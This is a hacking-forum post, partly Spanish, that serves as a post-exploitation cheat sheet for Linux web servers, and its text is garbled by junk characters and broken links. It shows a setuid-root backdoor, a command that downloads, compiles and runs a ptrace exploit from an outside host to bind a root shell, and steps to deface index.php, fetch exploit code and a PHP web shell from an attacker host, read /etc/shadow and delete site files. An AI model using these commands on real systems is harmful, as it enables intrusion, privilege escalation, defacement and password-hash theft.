- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< ><FONT color=#ff0000>by:cnbird</FONT></P>
+ f; [& C$ b; n* X; `7 f< >1.</P>
$ E' I1 R0 u4 v' C2 s1 I< >[cnbird@localhost tmp]#id</P>$ v% N H+ i$ O
< >uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
4 [ s7 A$ o: k4 c9 p' B. O, P< >[cnbird@localhost tmp]#cp `which id ` .</P>( S7 J1 {! M) M K
< >[cnbird@localhost tmp]#chown root ./id</P>! I1 k9 N/ ?9 D/ V, B/ o
< >[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>
, ]; ]- d; K E h< >[cnbird@localhost tmp]#ls -l ./id</P>
4 t% C2 L* c% }< >-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
) c# H1 K; I& G2 H9 Y- R< >[cnbird@localhost tmp]#exit</P>
9 b* d# Y. g5 D< >[cnbird@localhost tmp]$id</P>; u' R' u% x% f n$ T4 d f
< >uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>
1 B6 A6 [9 g& e9 Q; J& l7 B< >[cnbird@localhost tmp]$./id </P>
3 p: T; Y0 ~( |0 L< >uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>2 O( \; N' P; o) R
< >2.利用ptrace成为root的方法</P>; L! G9 [' O; D8 \" ?
< >[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
7 ^# I1 {/ ~- G+ j! O8 }-> Parent's PID is 2313. Child's PID is 2314.- E# a% [. o0 [( Z
-> Attaching to 2315...: C* K8 Q8 g2 O& Y9 G' A
-> Got the thread!!1 N) f9 K& W( R% G9 D! |
-> Waiting for the next signal...& w$ z5 C; A# y
-> Injecting shellcode at 0x4000e85d& W7 j& L f& h( N/ c
-> Bind root shell on port 24876... =p
* d8 `# q0 ]8 V9 L! }-> Detached from modprobe thread.6 K. {. @+ I0 {% a6 L
-> Committing suicide.....</P>: h6 O- |( V$ O
< >[bash]# id
0 C: ]5 Y& b. d' ]% ^, y' h, Uuid=0(root) gid=0(root) groups=0(root)</P>
9 p# E' s; i+ _- p< > ara ver los dominios que hay en el server:
5 B9 _3 r R5 x7 a5 V# X' X---------------------------------------------------------
% ]* B2 v% C; u9 scat /etc/httpd/conf/httpd.conf|grep ServerName << Solo salen los dominios' ?; {. D, G0 y- X3 l
cat /etc/httpd/conf/httpd.conf << Unicamente los puros dominios
& S: v( o4 \$ @8 ]; p* i' bcat /etc/localdomains << Unicamente los dominios locales- X8 P2 B! `& j. L6 e, J/ p, L" v: t
cat /etc/trueuserdomains << Revela los verdades propietarios de cada dominio
. }8 G* b, }$ Acat /etc/userdomains << Este es el mas comun
0 u; J6 C) b' Z) q9 E3 r+ G---------------------------------------------------------</P>3 V$ o z8 p) M% \* t
< > ara ver la version de kernel:
+ j8 G4 }& N% z* j1 I5 N---------------------------------------------------------. g9 M9 `" c* C2 i' o
uname -a <<Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
& Z, y1 G% k: r---------------------------------------------------------</P>" E/ T0 u5 E8 M4 J
< > ara modificar un index ya existente:4 r6 g+ K' G; Y! e1 j7 ^) W
---------------------------------------------------------( t- x/ k, W) g! u) k7 u$ z
echo "RootBox was OwNz You">index.php <<sobreescribe el archivo index.php con nuevo contenido0 z @# @2 L" G" D. s/ \, ^% ^
---------------------------------------------------------</P>
6 g6 b( {) }8 W- H9 O8 Q< > ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
7 J4 s( L' c. z# i) z---------------------------------------------------------
) k* J% q; K, a9 {0 F2 bcd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> <<aqui subimos el exploit
7 C6 ^' P& x. V' M/ s) }cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado <<aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
) j4 b3 t1 A: O) Mcd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado <<aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"0 p# D! f0 A8 x
cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado <<aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado". 2 Z" |! z3 C `3 Q6 T) {" o3 X
Hasta aqui termina el proceso para un exploit.
5 z2 E# ^7 E, W' I) S7 X; O---------------------------------------------------------</P>
" M, W7 z0 L$ C. L* W7 N< >Ver las contraseñas encriptadas de todos los usuarios:6 V: _4 w, Y7 c: c7 c4 a( X1 r, B" Y
---------------------------------------------------------: k8 b/ ?& w1 U
cat /etc/shadow <<Solo funciona si tienes permisos como root.) y) ^3 Y" y9 s2 x- M
---------------------------------------------------------</P>1 w6 x9 ]( j: m; Y' E3 D
< >Borrar un Ficher$ d- g( J. @, F N. c
---------------------------------------------------------" H L% ~* s! Q2 ?% ^/ [
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm<<aqui estan borrando con el comando rm, el fichero import.htm1 D8 a1 P! f1 {% e/ j
---------------------------------------------------------</P>
7 t* z7 p* d+ t" G! w+ ]3 y, @ G+ u< >Subir un ficher
* n' I, o7 F6 g: ^---------------------------------------------------------
! w: ?7 q! F/ Z4 H3 ycd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php<<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php<<Estamos</FONT></A> subiendo el fichero shell.php</P>; f: T5 o" @9 A F- D
< >
: m, \$ B! k: r& J2 W" f/ q3 k<CENTER></CENTER> |
zan
|